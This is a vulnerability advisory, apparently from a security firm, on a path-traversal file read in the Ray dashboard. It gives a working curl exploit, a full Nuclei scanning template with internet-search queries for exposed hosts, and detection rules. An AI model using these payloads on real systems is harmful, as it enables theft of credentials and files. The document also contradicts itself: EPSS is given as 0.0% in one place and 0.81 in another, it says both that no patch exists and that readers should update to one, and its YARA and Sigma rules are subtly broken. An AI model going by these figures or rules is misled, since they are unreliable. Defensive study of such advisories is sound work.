CVE-2023-6020

Executive Summary

CVE-2023-6020 is a high-severity Local File Inclusion (LFI) vulnerability in the Ray distributed computing framework. The flaw resides in the /static/ directory, where an unauthenticated attacker can perform path traversal to read arbitrary files on the server. This can lead to the exposure of sensitive configuration files, credentials, and other critical data. The vulnerability has a CVSS score of 7.5 and is confirmed exploitable via a public Nuclei template. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

Ray is a Python-based framework for distributed computing, commonly installed via PyPI. The vulnerability affects the Ray dashboard component, which is often exposed on port 8265. Organizations using Ray should treat this as a critical supply chain risk, as unpatched instances can lead to full server file disclosure. No patched version has been identified, so immediate mitigation steps are required.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is High due to the ease of exploitation and the potential for sensitive data exposure.

Deep Dive & Mechanics

The vulnerability exists in the Ray dashboard's static file serving mechanism. The /static/ directory is intended to serve static assets (e.g., JavaScript, CSS), but it fails to properly sanitize user-supplied paths. By injecting ../ sequences, an attacker can traverse outside the intended directory and read any file on the filesystem.

The root cause is a missing access control check (CWE-862) and insufficient path validation. The server uses the aiohttp library, which does not automatically block path traversal patterns. The Nuclei template confirms that a request to /static/js/../../../../../../../../../../../../../../etc/passwd returns the contents of /etc/passwd with a 200 status and application/octet-stream content type.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Ray dashboard static file handler (simplified)
async def handle_static(request):
    file_path = request.match_info['file']
    # No path traversal check
    return aiohttp.web.FileResponse(f'/static/{file_path}')

Patched Code (Hypothetical):

import os
async def handle_static(request):
    file_path = request.match_info['file']
    # Resolve and validate path
    safe_path = os.path.normpath(f'/static/{file_path}')
    if not safe_path.startswith('/static/'):
        return aiohttp.web.HTTPForbidden()
    return aiohttp.web.FileResponse(safe_path)

No official patch has been released, but the fix should involve normalizing the path and ensuring it stays within the intended directory.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Ray instance (e.g., version 2.6.3) using Docker:

   docker run -d --name ray-vuln -p 8265:8265 rayproject/ray:2.6.3
   

2. Access the dashboard at http://localhost:8265.

Exploitation: Use the following curl command to exploit the LFI:

curl --path-as-is "http://localhost:8265/static/js/../../../../../../../../../../../../../../etc/passwd"

Expected output: Contents of /etc/passwd.

Nuclei Template (provided):

id: CVE-2023-6020

info:
  name: Ray Static File - Local File Inclusion
  author: byt3bl33d3r
  severity: high
  description: |
    LFI in Ray's /static/ directory allows attackers to read any file on the server without authentication.
  impact: |
    Unauthenticated attackers can read any file on the server via path traversal in the /static/ directory, potentially exposing sensitive configuration files and credentials.
  remediation: |
    Update Ray to a patched version that restricts static file access.
  reference:
    - https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6020
    cwe-id: CWE-862
    epss-score: 0.81449
    epss-percentile: 0.99181
    cpe: cpe:2.3:a:ray_project:ray:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ray_project
    product: ray
    shodan-query:
      - http.favicon.hash:463802404
      - http.html:"ray dashboard"
    fofa-query:
      - body="ray dashboard"
      - icon_hash=463802404
  tags: cve2023,cve,lfi,ray,oos,ray_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/js/../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"
          - "aiohttp"
        condition: and

      - type: status
        status:
          - 200

Blue Team

Detection:

• Monitor HTTP requests to /static/ containing ../ patterns.
• Alert on responses with application/octet-stream and body containing /etc/passwd or other sensitive files.
• Use the provided YARA and Sigma rules for file and log detection.

Mitigation:

• Restrict network access to the Ray dashboard (port 8265) to trusted IPs only.
• Implement a reverse proxy (e.g., Nginx) with path traversal filtering:

  location /static/ {
      alias /path/to/static/;
      if ($request_uri ~ "\.\.") {
          return 403;
      }
  }
  

• Apply a Web Application Firewall (WAF) rule to block path traversal attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /static/js/../../../../../../../../../../../../../../etc/passwd
  • Responses with Content-Type: application/octet-stream and body containing root:.*:0:0:
  • User-Agent strings from known scanning tools (e.g., nuclei, curl)

• File IOCs:

  • Unauthorized access to /etc/passwd, /etc/shadow, /proc/self/environ, or other sensitive files via the Ray dashboard.

• System IOCs:

  • Unexpected file read events in audit logs (e.g., ausearch on Linux).

Detection Engineering

YARA Rule

rule CVE_2023_6020_Ray_LFI {
    meta:
        description = "Detects path traversal attempts against Ray /static/ directory"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-6020"
    strings:
        $traversal = "/static/" ascii wide nocase
        $passwd = "root:" ascii wide
        $shadow = "root:" ascii wide
        $proc = "/proc/" ascii wide
    condition:
        $traversal and ($passwd or $shadow or $proc)
}

Sigma Rule

title: CVE-2023-6020 Ray LFI Detection
id: 8a4b6c2d-1e3f-4a5b-9c7d-8e9f0a1b2c3d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting Ray /static/ directory
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '/static/'
        cs-uri-query|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of '..' in URL parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6020 Ray LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/static/"; http_uri; content:"../"; http_uri; pcre:"/\/static\/[^?]*\.\.\//Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict access to the Ray dashboard (port 8265) using firewall rules or VPN.
   • Deploy a reverse proxy with path traversal filtering.
   • Monitor logs for exploitation attempts.

2. Long-term Fix:

   • Await an official patch from the Ray project. In the meantime, consider disabling the static file serving if not required.
   • Implement input validation and path normalization in custom deployments.

3. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable audit logging on the Ray server to track file access.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 06F7360D85C5DCAF486CDB48] */}